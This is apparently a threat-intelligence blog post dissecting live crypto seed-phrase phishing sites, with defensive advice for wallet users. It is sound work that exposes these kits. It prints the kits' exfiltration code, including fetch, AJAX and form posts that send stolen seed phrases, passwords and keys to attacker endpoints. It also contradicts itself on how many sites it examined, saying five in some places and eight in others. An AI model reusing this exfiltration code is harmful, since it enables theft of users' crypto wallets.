What We Found
Every day, thousands of cryptocurrency users lose their funds to phishing sites that look indistinguishable from legitimate wallet services. But what happens behind the fake "Connect Wallet" button? Where does your seed phrase actually go?
We intercepted live HTTP traffic from 5 active phishing sites, downloaded their complete source code, and traced every data exfiltration endpoint to its final destination. This investigation documents the full anatomy of modern crypto phishing, from the social engineering tricks that make you type your seed phrase to the Telegram bot that delivers it to the attacker in real-time.
Disclaimer
All seed phrases shown in this article are randomly generated test data. No real credentials were compromised during this investigation. All sites have been reported to their respective hosting providers and abuse departments.
The Universal Attack Pattern
Despite different branding and backends, all 8 phishing sites follow the exact same psychological funnel:
Landing PageTrust building
Wallet Selector60–110+ logos
Fake "Connecting..."3–5 sec timer
"Connection Failed"Always fails
Manual EntrySeed / Key / Keystore
ExfiltrationTG / Email / API
The "Connecting..." animation is always hardcoded to fail. In the source code of Site #4, we found const success = false; the code never attempts a wallet connection. The entire flow exists solely to push victims toward the "Connect Manually" form.
The 8 Sites: Full Breakdown
LiveCloudflare PagesTelegram Bot + EmailJS
Impersonation
A fictional "decentralized protocol" for wallet validation. Uses live CryptoCompare price tickers and links to real blockchain explorers (Ethereum, BSC, Polygon, Avalanche, Solana, Cardano) for credibility. The landing page features 100+ wallet logos and a 3-step "validation" process.
The Dual Exfiltration Chain
This is the most elaborate backend of all 5. Every stolen credential is sent through two independent channels simultaneously:
Victim submits seed phrase
|
+--> Channel 1: axios POST --> Express.js on Render.com
| |
| +--> Telegram Bot API --> @metatech2 (instant DM)
|
+--> Channel 2: fetch POST --> EmailJS API
|
+--> Bestgrace309@gmail.com (email backup)
OSINT Findings
OPSEC Failure
The attacker's email was found in a JavaScript comment inside config.js: // Bestgrace309@gmail.com. They forgot to remove it before deploying. The Telegram relay backend is also completely open, with no authentication and no rate limiting. By decoding Cloudflare's data-cfemail obfuscation in the HTML, we also found a hidden email, support@layerschain.in, which links to Indian and South African hosting infrastructure.
LiveCloudflare PagesUn-static Forms
Impersonation
A pixel-perfect scrape of the real Aqualibre (AQLA) token migration page. The HTML contains a metadata tag revealing the source: data-scrapbook-source="https://token.aqla.app/migration", timestamped November 19, 2024.
The Zero-Code Approach
This attacker needs zero server-side code. The form posts directly to Un-static, a legitimate form backend for static sites, which forwards every submission to the scammer's email. The attacker's email is never visible in the source code.
<form action="https://forms.un-static.com/forms/c78173e2d991...94c3f76">
<textarea name="phrase"></textarea>
<input name="private-key" />
<textarea name="keystore-json"></textarea>
<input name="password" />
</form>
Cost: $0
Cloudflare Pages is free, Un-static Forms is free, and the attacker bought no domains and rented no servers. Total infrastructure cost: zero dollars.
Live Cloudflare Pages Un-static Forms
Impersonation
The subdomain contains "safpal", a deliberate misspelling of the popular hardware wallet SafePal. The site poses as "Blockchain Wallet Rectification" with 26 fake issue categories. Uses Typed.js to animate chain names (Ethereum, BSC, Polygon...) and a LiveCoinWatch ticker for credibility.
Same Kit, Same Operator?
Uses the exact same phishing template as Site #2: identical connect.html, identical wallets.html with 60+ logos, same Un-static backend (different form ID: 6f1b82c3...da9943af). The identical kit strongly suggests one operator running both sites.
Red flags in the code: "Privay Policy" (missing 'c'), "seperated" (should be "separated"), "Kestore" (missing 'y'). Password field uses type="text" instead of type="password".
LiveCloudflare PagesDual EmailJS (Redundancy)
Impersonation
A near-perfect clone of the Flare Network portal. Flare is a real Layer-1 EVM blockchain with FTSO and Data Connector protocols. Replicates 30+ ecosystem partners, navigation, and branding. Favicons loaded from a typosquat: portal.flaremainet.com (one 'n' missing from "mainnet").
Dual EmailJS Redundancy
The only site using two separate EmailJS accounts simultaneously for anti-takedown redundancy:
// Channel 1: EmailJS SDK
emailjs.send('service_6dt5h1k', 'template_hjqp9gb', payload)
// Key: Sza6lhzA9hKHrm1k4
// Channel 2: jQuery AJAX direct
$.ajax('https://api.emailjs.com/api/v1.0/email/send', {
data: { service_id: 'service_isy47de',
template_id: 'template_dkk4d1b',
user_id: 'JsVEgXVcaSTro1etu' }
})
Email subject for every theft: "New Wallet Details from Flare".
This Is a Funded Business
The HTML contains Google Tag Manager (GTM-WX2D2TR), Microsoft Clarity (j4bllybjkp), Lunio PPC protection, and a Twitter/X Ads pixel. The attacker is running paid advertising to drive victims to the phishing site and filtering bot clicks. With analytics and ad spend in place, this is a funded operation.
Backend DeadPulseResolve API (PhaaS)
Impersonation
A generic "COIN NODE" / "Wallet Fix" service (no specific brand). The copyright line reads "Wallet Fix 2022", so this kit template is at least 4 years old. Images hosted on pumpeth.com (WordPress on AWS).
Phishing-as-a-Service
The backend is a UUID-based multi-tenant API:
POST https://api.pulseresolve.com/a26db20c-1dc4-4208-a60a-c2c3b22c02ef
Content-Type: multipart/form-data
wallet=Metamask&type=phrase&phrase=buddy+surprise+vapor+river+...
Each scammer gets their own UUID endpoint. A central operator maintains the API, tracks campaigns, and potentially takes a cut of stolen funds. This is industrialized crypto theft, run as Phishing-as-a-Service.
Related Infrastructure (Mostly Dead)
Zombie Frontend
The backend is dead, but the frontend is still live on Cloudflare Pages. If the attacker re-registers pulseresolve.com, the site becomes instantly operational again.
LiveCloudflare Pages + ReplitCustom C2 APIBIP39 Autocomplete
Impersonation
A two-pronged operation: a generic "Support Center" at wallet-support-39n.pages.dev with 15 fake issue categories and 39 wallet brands, plus a pixel-perfect Ledger onboarding clone at ledger-recovery.support hosted on Replit. The Ledger clone comes complete with device model selection, PIN setup, and a 24-word seed phrase grid with real BIP39 autocomplete.
Anti-Scanner C2 Backend
The wallet support page sends stolen data to api.uranustoken.org/log, a custom nginx/Ubuntu C2 behind Cloudflare. The backend intentionally drops all GET requests (returns 522 timeout) and responds only to POST. URL scanners, Google Safe Browsing crawlers, and security researchers who ping the endpoint with GET see nothing, so the C2 appears dead.
// config.js — C2 config exposed in plaintext
const config = {
serverURL: "https://api.uranustoken.org",
allowedWallets: ["phantom","solfare","metamask","trustwallet",
"coinbasewallet","ledger","trezor","okx","sui","backpack",
"tonkeeper","magiceden","slush" /* + 26 more */]
};
window.IWMConfig = config;
// Exfiltration function (deobfuscated from bundle)
function Ae(seedPhrase, passPhrase, walletName) {
fetch(serverURL + "/log", {
method: "POST",
headers: {"Content-Type": "application/json"},
body: JSON.stringify({seedPhrase, passPhrase, walletName, apiKey})
})
}
The Ledger clone runs a separate Express.js backend on Replit itself: POST /api/recovery-phrase collecting {deviceId, pin, phrase}. It returns 400 {"error":"Invalid data provided"} on malformed input, which confirms the backend is live and actively validating stolen data.
OSINT Findings
Highest UX Fidelity
The 466 KB JS bundle contains the full BIP39 wordlist for real-time autocomplete, plus 67 references to "passphrase" and 39 to "mnemonic". The Ledger clone walks victims through the exact same onboarding flow as a real Ledger device, which makes it the most convincing phishing page in this entire investigation. The apiKey field in the config suggests a multi-tenant PhaaS architecture.
LiveCloudflare PagesFormSubmit.co
Impersonation
A generic "Decentralized Launchpad" with 21 bait categories (Staking, Migration, KYC, Giveaway, Claim Rewards, Asset Recovery, Pre-sale, Mint NFTs, Locked Accounts...) and 70+ wallet brands, one of the longest wallet lists we encountered. The typo "Sychronize" (missing 'n') gives the fake away.
The FormSubmit Pipeline
Uses FormSubmit.co, a legitimate form-to-email service. The endpoint hash a2cf4131f1a5d39453c7c183df96f86f is an MD5 of the scammer's email address. We brute-forced hundreds of email patterns across Gmail, Yahoo, Hotmail, ProtonMail, Yandex, and Mail.ru and found no match. The scammer uses an uncommon or randomly generated email.
// Exfiltration via jQuery AJAX → FormSubmit → scammer email
$.ajax({
url: "https://formsubmit.co/ajax/a2cf4131f1a5d39453c7c183df96f86f",
method: "POST",
dataType: "JSON",
data: {
dappWord: seedPhrase, // THE STOLEN SEED PHRASE
dappName: walletName, // Which wallet was selected
linkName: "DAPP DECENTRALIZED" // Campaign identifier
}
});
OSINT Findings
Two Tracking Handles
FontAwesome Kit bdc3291137: FontAwesome can identify the account owner behind this kit ID. The campaign tag DAPP DECENTRALIZED may appear on other phishing sites using the same FormSubmit hash. After the seed phrase is stolen, the page displays a fake QR code and random 7-character ref code with the message "Contact the Admin with your unique ref code", which keeps victims waiting instead of investigating.
DeadCloudflare R2PHP + DDNS
Impersonation
Unknown, because both the frontend and backend are offline. Based on the payload structure, this was a crypto wallet seed phrase stealer. The Cloudflare R2 public bucket (object storage, not Pages) is a well-documented phishing vector with 5,000+ malicious pages identified and a 61x traffic increase reported by Netskope.
The Script Kiddie Setup
The most primitive operation in this collection. Seed phrases are sent word-by-word to a PHP script running on a home computer or VPS behind free Dynamic DNS:
POST mercifuljigga4real123.publicvm.com/fuc.php
Content-Type: application/x-www-form-urlencoded
pass=Word+1:+finger+%0AWord+2:+flag+%0AWord+3:+across
+%0AWord+4:+admit+%0AWord+5:+weather+%0AWord+6:+fragile
+%0AWord+7:+trick+%0AWord+8:+weekend+%0AWord+9:+gift
+%0AWord+10:+grit+%0AWord+11:+borrow+%0AWord+12:+access
OSINT Findings
Username OSINT: mercifuljigga4real123
"Merciful" + "jigga" (Jay-Z's nickname) + "4real" + "123": a distinctly personal handle that suggests an affinity for hip-hop culture. Not found on any indexed platform: GitHub, X, Instagram, TikTok, Reddit, YouTube, Twitch, or Steam. Likely active on Discord, Telegram, or gaming platforms under this name or close variations. The filename fuc.php matches the handle's irreverent style.
7 Methods of Stealing Your Seed Phrase
7 Red Flags That Expose Every Phishing Site
If you see any of these, close the tab immediately:
1. "Connection Failed" is always fake
Real wallet connections use WalletConnect protocol or browser extensions. They never show a "Connection Failed" error that asks you to type your seed phrase.
2. 50–110+ wallet logos, one destination
Every wallet icon leads to the same form. A real service would integrate each wallet's actual SDK.
3. "Error" after you submit
The fake "503 Error" or "Unknown Error" after submission is deliberate. By then your data has already been stolen, and the error tricks you into trying again with another wallet.
4. Hosted on .pages.dev
All 5 sites abuse the Cloudflare Pages free tier, which requires no identity verification. Cloudflare Pages phishing abuse increased 198% in 2025.
5. Three tabs: Phrase / Private Key / Keystore
No legitimate service needs all three credential types. This triple-tab form is a phishing kit signature.
6. No blockchain interaction
None of these sites load ethers.js, web3.js, or make any RPC calls. They're pure HTML forms pretending to be dApps.
7. Zero-cost infrastructure
Free hosting + free form services + free messaging = a complete phishing operation for $0. If the site doesn't have a real domain, be suspicious.
Complete IOC Table
For security teams, threat intel platforms, and abuse reporters:
Domains & Infrastructure
Accounts & Identifiers
Where to Report Crypto Phishing
How to Protect Yourself
The Golden Rule
No legitimate service will ever ask you to type your seed phrase into a website. Seed phrases are only entered into official wallet software during wallet recovery, never on third-party "validation", "synchronization", or "recovery" websites.
Before connecting any wallet:
- Verify the URL matches the official domain. Check the SSL certificate details.
- Real WalletConnect uses a QR code or deep link, never a seed phrase form.
- If "connection fails" and you're asked to enter credentials manually, it's phishing.
- Check suspicious URLs on PhishTank or VirusTotal before interacting.
- Use a hardware wallet. It requires physical confirmation for every transaction.
- Bookmark official URLs. Never click links from ads, DMs, or social media.
The Crypto Phishing Taxonomy
Seed phrase stealers are just one category. The overview below covers the main types of crypto phishing, and we will be adding detailed write-ups on each.
Seed Phrase Stealers
Fake "Connect Wallet" pages that trick you into typing your recovery phrase. The focus of this article, with 5 real examples dissected.
Covered Above
Approval Hijacking
Malicious dApps that request unlimited token approvals via MetaMask. Once approved, the attacker drains your wallet without needing your seed phrase.
Coming Soon
Ice Phishing (Permit2)
Exploits EIP-2612 gasless permits. Victim signs an off-chain message that grants token transfer rights, and no on-chain approval is visible until the drain.
Coming Soon
Fake Airdrop Claims
Fake token airdrops that require "claiming" via a malicious smart contract. The claim transaction actually transfers your real tokens out.
Coming Soon
Clipboard Hijackers
Malware that monitors your clipboard and silently replaces copied wallet addresses with the attacker's address before you paste.
Coming Soon
Dusting + Poisoning
Tiny transactions from look-alike addresses pollute your history. Victim copies the fake address from transaction history for their next transfer.
Coming Soon The Cost of Entry
With free hosting, free form services, and free messaging bots, setting up a crypto phishing operation costs $0 and takes under 30 minutes. The attacker behind Site #1 has already harvested credentials from 1,824+ victims, and Site #4 is running paid advertising to scale. This is an industry, and the only defense is awareness.
Help Us Fight Back
PhishDestroy tracks and reports crypto phishing sites in real-time. If you've encountered a suspicious site, report it to us. We'll investigate and work to get it taken down.